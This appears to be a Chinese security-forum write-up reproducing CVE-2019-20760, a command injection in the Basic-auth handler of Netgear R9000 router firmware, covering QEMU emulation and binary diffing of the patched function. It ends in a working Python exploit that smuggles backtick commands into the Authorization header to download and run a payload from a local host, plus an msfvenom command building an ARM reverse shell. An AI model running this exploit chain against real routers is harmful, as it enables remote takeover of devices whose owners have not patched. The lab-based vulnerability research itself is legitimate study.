[Netgear]CVE-2019-20760
本帖最后由 R00tkit 于 2024-5-16 14:29 编辑此文已投给蚁景网安,蚁景网安公众号[链接](https://mp.weixin.qq.com/s/zMzZSUbN_4Dtub6AiT9o7g)。
# CVE-2019-20760
## 漏洞概述
* **漏洞服务:** `uhttpd`
* **漏洞类型:** 远程命令执行
* **影响范围:** 1.0.4.26之前的NETGEAR R9000设备会受到身份验证绕过的影响
* **解决建议:** 更新版本
## 漏洞复现
* **操作环境:** ubuntu:22.04
***qemu-version:** 8.1.1
### 仿真环境
```shell
wget https://www.downloads.netgear.com/files/GDC/R9000/R9000-V1.0.4.26.zip
```
下载固件。
```shell
binwalk -Mer R9000-V1.0.4.26.img
```
可通过 `binwalk` 常规解压获得文件系统。
检查 `ELF32` 文件架构为 `arm-32-little`。
```shell
wget https://file.erlkonig.tech/debian-armhf/wheezy/debian_wheezy_armhf_standard.qcow2
wget https://file.erlkonig.tech/debian-armhf/wheezy/initrd.img-3.2.0-4-vexpress
wget https://file.erlkonig.tech/debian-armhf/wheezy/vmlinuz-3.2.0-4-vexpress
```
下载合适的虚拟机映像。
```shell
#!/bin/sh
# 参考《CTF实战》by ChaMd5
# 'ens33': The NIC is that can connect internet
#sudo ifconfig eth0 down # 首先关闭宿主机网卡接口
sudo brctl addbr br0 # 添加一座名为 br0 的网桥
sudo brctl addif br0 ens33 # 在 br0 中添加一个接口
sudo brctl stp br0 off # 如果只有一个网桥,则关闭生成树协议
sudo brctl setfd br0 1 # 设置 br0 的转发延迟
sudo brctl sethello br0 1 # 设置 br0 的 hello 时间
sudo ifconfig br0 0.0.0.0 promisc up # 启用 br0 接口
sudo ifconfig ens33 0.0.0.0 promisc up # 启用网卡接口
sudo dhclient br0 # 从 dhcp 服务器获得 br0 的 IP 地址
sudo brctl show br0 # 查看虚拟网桥列表
sudo brctl showstp br0 # 查看 br0 的各接口信息
sudo tunctl -t tap0 -u root # 创建一个 tap0 接口,只允许 root 用户访问
sudo brctl addif br0 tap0 # 在虚拟网桥中增加一个 tap0 接口
sudo ifconfig tap0 0.0.0.0 promisc up # 启用 tap0 接口
sudo brctl showstp br0
```
配置网络。
```shell
#!/bin/sh
qemu-system-arm \
-M vexpress-a9 \
-kernel vmlinuz-3.2.0-4-vexpress \
-initrd initrd.img-3.2.0-4-vexpress \
-drive if=sd,file=debian_wheezy_armhf_standard.qcow2 \
-append "root=/dev/mmcblk0p2 console=ttyAMA0" \
-net nic -net tap,ifname=tap0,script=no,downscript=no \
-nographic
```
```shell
-M # 选择开发板
-m # 指定内存大小
-drive # 定义存储驱动器
file= # 定义镜像文件
-net nic # 创建客户机网卡
-net tap # 创建 tap 设备,以桥接方式跟宿主机通信
ifname=virtual0 # tap 设备与名为 virtual0 的虚拟网卡进行桥接通信
-nographic # 以非图形化模式启动
-append # 内核启动附加参数
-console=ttyAMA0 # console指向串口,有此启动参数,内核启动日志才能输出到宿主机终端
-nographic # 不再启用额外的终端界面
```
启动 `qemu-system-armhf` 环境,默认用户名密码都为 `root`。
```shell
ifconfig eth0 192.168.152.168/24
```
为 `qemu-system-armhf` 配置静态 `IP`。
```shell
tar -cvf squashfs-root.tar.gz squashfs-root/
python3 -m http.server
```
将文件根系统打包,然后利用 `python3` 的 `http.server` 模块下载到 `qemu-system-armhf`的根目录中并用 `tar xvf squashfs-root.tar.gz ` 解压。
```shell
cd /squashfs-root
mount --bind /proc proc # proc目录是一个虚拟文件系统,可以为linux用户空间和内核空间提供交互
mount --bind /dev dev # /dev/下的设备是通过创建设备节点生成的,用户通过此设备节点来访问内核里的驱动
chroot . sh
```
因为 `chroot` 会导致无法在隔离的文件系统中访问原本的 `/proc`和`/dev` 目录,这里利用 `mount` 命令将 `qemu-system-armhf`的 `proc` 和 `dev` 目录挂在到 `squashfs-root` 中,并更换根目录为 `squashfs-root`。
### Web模拟
```shell
find -name uhttpd
cat ./etc/init.d/uhttpd
```
```shell
# ./etc/init.d/uhttpd
...
start() {
#config_load uhttpd
#config_foreach start_instance uhttpd
#mkdir /tmp/www
#cp -rf /usr/www/* /tmp/www
/www/cgi-bin/uhttpd.sh start
inetd
detplc
#for bug58012
touch /tmp/fwcheck_status
}
...
```
查找 `uhttpd` 的相关文件。
```shell
#!/bin/sh
REALM=`/bin/cat /module_name | sed 's/\n//g'`
UHTTPD_BIN="/usr/sbin/uhttpd"
PX5G_BIN="/usr/sbin/px5g"
uhttpd_stop()
{
kill -9 $(pidof uhttpd)
}
uhttpd_start()
{
$UHTTPD_BIN -h /www -r ${REALM}-x /cgi-bin -t 70 -p 0.0.0.0:80 -C /etc/uhttpd.crt -K /etc/uhttpd.key -s 0.0.0.0:443
}
case "$1" in
stop)
uhttpd_stop
;;
start)
uhttpd_start
;;
restart)
uhttpd_stop
uhttpd_start
;;
*)
logger -- "usage: $0 start|stop|restart"
;;
esac
```
查看 `start()` 函数中利用的 `/www/cgi-bin/uhttpd.sh` 脚本。发现启动命令为 `$UHTTPD_BIN -h /www -r ${REALM}-x /cgi-bin -t 70 -p 0.0.0.0:80 -C /etc/uhttpd.crt -K /etc/uhttpd.key -s 0.0.0.0:443` 其中 `REALM = R9000` ,`UHTTPD_BIN = /usr/sbin/uhttpd`。我们无需开启 `https`,所以启动命令为 `/usr/sbin/uhttpd -h /www -r R9000 -x /cgi-bin -t 70 -p 0.0.0.0:80`。
### 逆向分析
```shell
wget https://www.downloads.netgear.com/files/GDC/R9000/R9000-V1.0.4.28.zip
```
获取修复版本的固件。因为源码较为繁杂,我们通过 `Bindiff` 进行二进制比对,来查找漏洞点。
`shift+D` 选取修复版本的 `/usr/sbin/uhttpd` 文件即可,主要查看登录验证的 `uh_cgi_auth_check()` 函数。
```cpp
memset(s, 0, 0x1000u);
v14 = strlen(v13);
uh_b64decode(s, 0xFFF, v13 + 6, v14 - 6);
v15 = strchr(s, ':');
if ( !v15 )
{
LABEL_32:
v16 = 0;
v17 = 0;
goto LABEL_15;
}
v16 = v15 + 1;
*v15 = 0;
if ( v15 != (char *)0xFFFFFFFF )
{
snprintf(command, 0x80u, "/usr/sbin/hash-data -e %s >/tmp/hash_result", v15 + 1);
system(command);
v3 = cat_file(73805);
}
v17 = s
```
漏洞版本 `base64` 解密后 `snprintf()` 后直接传给 `system()` 执行,这里会把 `v15(:)`后面的内容放到 `%s` 处,记得加`\n`来执行多条指令。
```cpp
memset(s, 0, 0x1000u);
v15 = strlen(v14);
uh_b64decode(s, 4095, v14 + 6, v15 - 6);
v16 = strchr(s, 58);
if ( !v16 )
{
LABEL_15:
v17 = 0;
v18 = 0;
goto LABEL_16;
}
v17 = v16 + 1;
*v16 = 0;
if ( v16 != (char *)-1 )
{
v18 = s;
dni_system("/tmp/hash_result", 0, 0, "/usr/sbin/hash-data", "-e", v17, 0);
v19 = cat_file("/tmp/hash_result");
goto LABEL_17;
}
```
而修复版本则利用 `dni_system()` 执行,只可控参数。
### 获取权限
poc:
```python
#!/usr/bin/python3
from pwn import *
import requests
import base64
cmd= 'admin:'
cmd += '`'
cmd += 'wget http://192.168.152.167:8000/shell.elf\n'
cmd += 'chmod 777 ./shell.elf\n'
cmd += './shell.elf\n'
cmd += '`'
assert(len(cmd) < 255)
cmd_b64 = base64.b64encode(cmd.encode()).decode()
headers = {
"User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.16; rv:85.0) Gecko/20100101 Firefox/85.0",
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8",
"Accept-Encoding": "gzip, deflate",
"Connection": "keep-alive",
"Upgrade-Insecure-Requests": "1",
"Authorization": "Basic " + cmd_b64
}
def attack():
try:
requests.get("http://192.168.152.168/cgi-bin/", headers=headers, timeout=3)
except Exception as e:
print(e)
attack()
```
```shell
msfvenom -p linux/armle/shell_reverse_tcp LHOST=192.168.152.167 LPORT=10086 -f elf > shell.elf
```
利用 `msf` 生成对应架构的木马程序,然后在`shell.elf`所在的目录开启`http`服务,利用漏洞将木马程序下载下来。
启动监听,并执行 `exp.py`
成功获取 `shell`,我们利用获取的权限在 `www` 目录创建 `flag.txt` 文件然后访问它。
成功创建。
顶一下,感谢分享 感谢分享!! 感谢分享!学习了!{:1_893:} 支持楼主·细心阅读,学习进步~ 感谢分享 谢谢分享 这个牛B!!!! 太猛太牛了,看到一半发现自己程度太差了...有待学习
页:
[1]
2